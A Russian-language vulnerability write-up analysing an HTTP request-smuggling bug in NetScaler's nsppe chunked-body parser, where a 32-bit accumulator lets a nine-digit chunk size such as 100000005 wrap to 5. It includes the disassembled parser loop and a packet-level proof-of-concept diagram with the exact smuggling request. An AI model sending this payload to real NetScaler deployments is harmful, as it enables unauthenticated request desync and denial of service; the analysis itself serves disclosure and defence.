
Технический анализ уязвимости контрабандного запроса из-за целочисленного переполнения размера чанка HTTP/1.1 в NetScaler nsppe, с дизассемблированием, PoC-потоками на уровне сетевых пакетов и диффом патча прошивки.
Парсер тела с чанковой передачей (chunked-body) в HTTP/1.1 nsppe считывает поле размера чанка в 32-битный регистр и никогда не проверяет переполнение. Девять или более шестнадцатеричных цифр — и значение молча переполняется: 100000005 (2^32 + 5) воспринимается как размер чанка 5.
Это забавный баг парсера, пока не вспомнишь, что NetScaler делает с телом: он пересылает чанковую разметку клиента бэкенду ровно в том виде, в каком получил, но определяет, где заканчивается запрос, используя собственное переполненное значение. Так что прокси считает запрос №1 завершённым после пяти байт тела, тогда как корректный бэкенд, читающий те же байты, вычисляет 4 294 967 301 и готовится принять тело размером 4 ГБ, которое так и не придёт. Две машины, один поток байтов, два разных мнения о том, где заканчивается запрос.
Всё после версии NetScaler «конца» переклассифицируется как новый конвейерный запрос в том же клиентском соединении, а затем независимо пересылается по общему соединению прокси-бэкенд.
Что получится в итоге, зависит от собственного парсера бэкенда:
Один неаутентифицированный запрос. Конфигурация по умолчанию. Никаких предварительных условий, кроме доступа к HTTP vserver.
Задача парсера проста: превратить строку размера чанка вроде 1a3f\r\n в число. Он принимает буфер в rdi с его длиной в esi, накапливает шестнадцатеричное значение в 32-битный слот по адресу *rdx (вход и выход, так что размер, разделённый между двумя пакетами, корректно возобновляется), пропускает пробельные символы и требует завершающий \r\n. Он возвращает число потреблённых байт, 0 для «нужно больше данных» или -1 для некорректных данных.
Весь цикл, достаточно маленький, чтобы увидеть баг невооружённым глазом:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d — это аккумулятор, и он имеет ширину 32 бита. Каждая цифра выполняет value <<= 4; value += digit. Ни счётчика цифр, ни ограничения величины, ни проверки переполнения, ни jo нигде в цикле. Девятая цифра не вызывает ошибку; она сдвигает старшие разряды числа за пределы регистра, и никто этого не замечает. 0x100000005 & 0xffffffff = 5, и парсер этим полностью удовлетворён.
Ниже по потоку есть ровно одна проверка, и она ошибочна почти поэтическим образом. Драйвер дечанкинга (sub_20af6b0, места вызова 0x20af719 / 0x20af9fb, размер хранится в [r12+0x344]) применяет проверку знака к накопленному значению. Задумайтесь на секунду: ловятся только те переполнения, которые попадают в отрицательную половину, [0x80000000, 0xffffffff]. Переполненный размер, младшие 32 бита которого оказываются ниже 0x80000000, проходит как совершенно нормальный размер чанка. 0x100000005, переполняющийся в 5, — канонический случай: переполнен, не замечен и разрушителен.
Пакет превращается в контрабанду из-за одного проектного решения в том, как NetScaler обращается с телами: он пересылает чанковую разметку клиента бэкенду байт в байт, нетронутой, при этом используя собственное (переполненное) понимание этой разметки, чтобы решить, где заканчивается запрос клиента.
Таким образом, NetScaler завершает запрос #1 после пяти байт тела и ставит оставшиеся 37 в очередь как второй, конвейеризованный запрос. Бэкенд, выполняя арифметику правильно, читает 100000005 как 4 294 967 301 и продолжает ждать тело для запроса #1. С этого момента оба устройства читают один и тот же поток и живут в разных мирах.
В каком мире вы окажетесь, зависит от бэкенда.
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |